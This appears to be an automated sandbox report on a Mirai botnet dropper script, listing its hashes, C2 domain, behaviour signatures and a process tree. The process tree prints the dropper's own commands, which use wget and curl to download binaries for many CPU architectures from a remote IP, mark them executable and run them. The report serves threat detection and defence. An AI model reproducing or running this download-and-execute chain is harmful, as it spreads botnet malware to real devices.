Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    131s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/03/2025, 04:07

General

  • Target

    hidden.sh

  • Size

    2KB

  • MD5

    a049f979d06c20ea98e850d006bf968c

  • SHA1

    d7e23d66238515d48e598902ad77f42f7b17534e

  • SHA256

    8474a2543a52186b91b0dd66b48447b43b8e1bb4d2c2c713f8b9972ab4d0ab81

  • SHA512

    7a80739e324c30ad138b2d69f4d145603c6badc84344bca3083e528d8ef443b4b4c8fca400071fbf56c24bff7082e858f5e72c2bca7d3ca4ec4aecf5ca31b7d0

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

C2

dasdv1.service1921.club

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/hidden.sh
    /tmp/hidden.sh
    1⤵
    • Deletes itself
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Changes its process name
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1499
    • /usr/bin/wget
      wget http://78.40.117.13/EdiAf.x86
      2⤵
      • Writes file to tmp directory
      PID:1500
    • /usr/bin/curl
      curl -O http://78.40.117.13/EdiAf.x86
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /bin/cat
      cat EdiAf.x86
      2⤵
        PID:1506
      • /bin/chmod
        chmod +x config-err-xbMkPD EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
        2⤵
        • File and Directory Permissions Modification
        PID:1507
      • /usr/bin/wget
        wget http://78.40.117.13/EdiAf.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1510
      • /usr/bin/curl
        curl -O http://78.40.117.13/EdiAf.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1512
      • /bin/cat
        cat EdiAf.mips
        2⤵
        • System Network Configuration Discovery
        PID:1513
      • /bin/chmod
        chmod +x config-err-xbMkPD EdiAf.mips EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /tmp/WTH
        ./WTH boa.mips
        2⤵
        • System Network Configuration Discovery
        PID:1515
      • /usr/bin/wget
        wget http://78.40.117.13/EdiAf.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1517
      • /usr/bin/curl
        curl -O http://78.40.117.13/EdiAf.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1518
      • /bin/cat
        cat EdiAf.mpsl
        2⤵
          PID:1519
        • /bin/chmod
          chmod +x config-err-xbMkPD EdiAf.mips EdiAf.mpsl EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
          2⤵
          • File and Directory Permissions Modification
          PID:1520
        • /tmp/WTH
          ./WTH boa.mpsl
          2⤵
            PID:1521
          • /usr/bin/wget
            wget http://78.40.117.13/EdiAf.arm
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /usr/bin/curl
            curl -O http://78.40.117.13/EdiAf.arm
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /bin/cat
            cat EdiAf.arm
            2⤵
              PID:1525
            • /bin/chmod
              chmod +x config-err-xbMkPD EdiAf.arm EdiAf.mips EdiAf.mpsl EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
              2⤵
              • File and Directory Permissions Modification
              PID:1526
            • /tmp/WTH
              ./WTH boa.arm
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://78.40.117.13/EdiAf.arm5
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /usr/bin/curl
                curl -O http://78.40.117.13/EdiAf.arm5
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/cat
                cat EdiAf.arm5
                2⤵
                  PID:1531
                • /bin/chmod
                  chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.mips EdiAf.mpsl EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1532
                • /tmp/WTH
                  ./WTH boa.arm5
                  2⤵
                    PID:1533
                  • /usr/bin/wget
                    wget http://78.40.117.13/EdiAf.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:1535
                  • /usr/bin/curl
                    curl -O http://78.40.117.13/EdiAf.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:1536
                  • /bin/cat
                    cat EdiAf.arm6
                    2⤵
                      PID:1537
                    • /bin/chmod
                      chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.mips EdiAf.mpsl EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1538
                    • /tmp/WTH
                      ./WTH boa.arm6
                      2⤵
                        PID:1539
                      • /usr/bin/wget
                        wget http://78.40.117.13/EdiAf.arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:1541
                      • /usr/bin/curl
                        curl -O http://78.40.117.13/EdiAf.arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:1542
                      • /bin/cat
                        cat EdiAf.arm7
                        2⤵
                          PID:1543
                        • /bin/chmod
                          chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1544
                        • /tmp/WTH
                          ./WTH boa.arm7
                          2⤵
                            PID:1545
                          • /usr/bin/wget
                            wget http://78.40.117.13/EdiAf.ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:1547
                          • /usr/bin/curl
                            curl -O http://78.40.117.13/EdiAf.ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:1548
                          • /bin/cat
                            cat EdiAf.ppc
                            2⤵
                              PID:1549
                            • /bin/chmod
                              chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1550
                            • /tmp/WTH
                              ./WTH boa.ppc
                              2⤵
                                PID:1551
                              • /usr/bin/wget
                                wget http://78.40.117.13/EdiAf.m68k
                                2⤵
                                • Writes file to tmp directory
                                PID:1553
                              • /usr/bin/curl
                                curl -O http://78.40.117.13/EdiAf.m68k
                                2⤵
                                • Writes file to tmp directory
                                PID:1554
                              • /bin/cat
                                cat EdiAf.m68k
                                2⤵
                                  PID:1555
                                • /bin/chmod
                                  chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1556
                                • /tmp/WTH
                                  ./WTH boa.m68k
                                  2⤵
                                    PID:1557
                                  • /usr/bin/wget
                                    wget http://78.40.117.13/EdiAf.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1559
                                  • /usr/bin/curl
                                    curl -O http://78.40.117.13/EdiAf.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1560
                                  • /bin/cat
                                    cat EdiAf.spc
                                    2⤵
                                      PID:1561
                                    • /bin/chmod
                                      chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1562
                                    • /tmp/WTH
                                      ./WTH boa.spc
                                      2⤵
                                        PID:1563
                                      • /usr/bin/wget
                                        wget http://78.40.117.13/EdiAf.i686
                                        2⤵
                                          PID:1565
                                        • /usr/bin/curl
                                          curl -O http://78.40.117.13/EdiAf.i686
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1566
                                        • /bin/cat
                                          cat EdiAf.i686
                                          2⤵
                                            PID:1567
                                          • /bin/chmod
                                            chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1568
                                          • /tmp/WTH
                                            ./WTH boa.i686
                                            2⤵
                                              PID:1569
                                            • /usr/bin/wget
                                              wget http://78.40.117.13/EdiAf.sh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1570
                                            • /usr/bin/curl
                                              curl -O http://78.40.117.13/EdiAf.sh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1571
                                            • /bin/cat
                                              cat EdiAf.sh4
                                              2⤵
                                                PID:1572
                                              • /bin/chmod
                                                chmod +x config-err-xbMkPD EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1573
                                              • /tmp/WTH
                                                ./WTH boa.sh4
                                                2⤵
                                                  PID:1574
                                                • /usr/bin/wget
                                                  wget http://78.40.117.13/EdiAf.arc
                                                  2⤵
                                                    PID:1576
                                                  • /usr/bin/curl
                                                    curl -O http://78.40.117.13/EdiAf.arc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1577
                                                  • /bin/cat
                                                    cat EdiAf.arc
                                                    2⤵
                                                      PID:1578
                                                    • /bin/chmod
                                                      chmod +x config-err-xbMkPD EdiAf.arc EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 hidden.sh netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-Lrdnzn WTH
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1579
                                                    • /tmp/WTH
                                                      ./WTH boa.arc
                                                      2⤵
                                                        PID:1580

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /tmp/EdiAf.x86

                                                      Filesize

                                                      30KB

                                                      MD5

                                                      e932653d32b429c51de2046623fa71d2

                                                      SHA1

                                                      32ecc535e6cf6e99f105835d4a7cb75ef4cb233a

                                                      SHA256

                                                      87dd914f28847f21e680b74700b0b4b339eb8f301677b53b1dddf8ffa2f33612

                                                      SHA512

                                                      e284ce814a09b33a108507645c88845aa478e05d7925742e09f190f4c733630429e9f9460c76b9e3b6ec17eddc3110e8283e515891bcaea4ce0307509fbe84c2

                                                    • /tmp/WTH

                                                      Filesize

                                                      33KB

                                                      MD5

                                                      029a7185777b7f885a6c3807e46b7365

                                                      SHA1

                                                      87372b0029b72446861c7b429e3ef1626c337218

                                                      SHA256

                                                      42c2075a2803b78355f68b9d651a7bd154e5b61f62418d84a3b4d064b5c68a7d

                                                      SHA512

                                                      4890cb74a283c03d790ffe4f2e5fbc06d82d5943773874c00c48171000cb21891720a57eb22e036cd2324e28b476a38f61c29f0d05d2949c2f4c8cdb971779a8

                                                    • /tmp/WTH

                                                      Filesize

                                                      35KB

                                                      MD5

                                                      7327f58c0e15f6086301a81780e100dc

                                                      SHA1

                                                      292bb04ad4df407ac687ef1df1071659708bd3bb

                                                      SHA256

                                                      b9f12d8c72d2a2a7263e1a7c2947e3891212b3566aae1b873212c6031e02de4d

                                                      SHA512

                                                      4cc238acfd72556b2453f4d2880ccc3b2f00d0899c98a6b7eeee7cb139b242b318b8483b3bc70f96ca23934719f2152712d0efb8d9a1c950a0c98eed02452911

                                                    • /tmp/WTH

                                                      Filesize

                                                      32KB

                                                      MD5

                                                      addb1cd662dd870b9b7ed5273d6fa76e

                                                      SHA1

                                                      6e12f9d5128a0de23d4b4b0dbfbefb91ff09dfc0

                                                      SHA256

                                                      cee6e1cc48f81462d1668be2c341d7cc84b24e20e1747be03ad7e296434bffe7

                                                      SHA512

                                                      28525de6add0d53f05e3c7c1e7d84927f40aee8c24d531216b6a77aa0f0a11fddd67b7f41b9eccc9b6692579a0c0f7453145480f7f8bacdd5d7ab13ffaad2d4f

                                                    • /tmp/WTH

                                                      Filesize

                                                      21KB

                                                      MD5

                                                      a117b1b367633cb07f0795bd5f0c6f8f

                                                      SHA1

                                                      32bfac42c7134383c6381b94c0d75317fcb56d11

                                                      SHA256

                                                      40fe55ff37dfaa1eded6d4a0d28994f7eaa4f36c384676bf3587349390a800f0

                                                      SHA512

                                                      7e9e4ac7b911b44f40eb14f684bac76478e95085ac0cc393dac95fa312057e9c4f1a3508338098026bd1369179cccae91ca07092024201b3619fdc4401a25726

                                                    • /tmp/WTH

                                                      Filesize

                                                      75KB

                                                      MD5

                                                      642dff628df548a6c458f004fd3b5aa1

                                                      SHA1

                                                      cfd38a2a7522ed9637978f6f2c6ba117d60a9ec7

                                                      SHA256

                                                      219f1a94474530ae2502631dabb897e1442ce2b535728f36e7eb5153ae2228ed

                                                      SHA512

                                                      dc4ae205c670da0ead108aa30eb7627fab0a11fe4c47ce2c66042f89ef0ba4f52792d8217d98852e0c471f071079bb76bc4b975e32a018e3a5eeceb98c33f851